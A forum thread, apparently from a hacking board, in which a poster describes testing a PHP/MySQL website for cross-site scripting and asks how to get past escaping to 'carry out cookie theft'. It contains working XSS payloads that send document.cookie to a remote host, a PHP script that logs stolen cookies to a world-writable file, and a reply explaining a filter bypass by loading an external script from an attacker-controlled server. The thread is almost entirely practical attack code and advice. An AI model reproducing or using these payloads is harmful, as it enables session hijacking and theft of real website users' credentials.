XSS Filter Perhaps?

I have been carrying out pen-test work for a local website, and acunetix revealed xss flaws with the scripting.

Website is written in php/mysql.

I can run the code

Code:

<script>alert(document.cookie)</script>


correctly, cookie info pops up in an alert.

however, when I run a more malicious code:
Code:

<script%20%0a%0d>document.location%3D%0D%0A'http://www.remote-server-address.com/cookie.php?cookie%3D%0D%0A'+document.cookie</script>


It will not write cookies. Viewing the webpage's source code after js injection reveals that it converts the above code into:

Code:

<script>document.location=\'http://www.remote-server-address.com/cookie.php?cookie=\' document.cookie</script>


So it breaks the code up with "\" and removes the "+". Question Question Question

Is there a way to prevent this happening and successfully carry out cookie theft?

Also, does this script need to be in the HEAD of the document? As the vulnerabilities insert it into the BODY of the page.

Any help would be greatly appreciated.

Just for the record, the cookie.php code:

Code:

<?php
$handle=fopen("cookie.txt","a");
fputs($handle,"\n".$_GET["cookie"]."\n");
fclose($handle);
?>


it is in a folder which is CHMOD 777
cookie.txt is 777
cookie.php is 755

This is php's "magic_quotes" in action Smile

Best way to exploit XSS is via use of "src":

Code:

<script src=http://www.attacker.com/js.txt></script>


No need for single- or double quotes and it's easy to use bigger javascript payloads Wink

Code:
document.location=http://www.remote-host.com/cookie.php?cookie=+document.cookie';


So save that as cookie.js and that should work or do I not even need the ; at the end?

Yes, you need to prepare text file like this:

Code:

document.location='http://www.remote-host.com/cookie.php?cookie='+document.cookie;


Upload this text file to the server under your control.
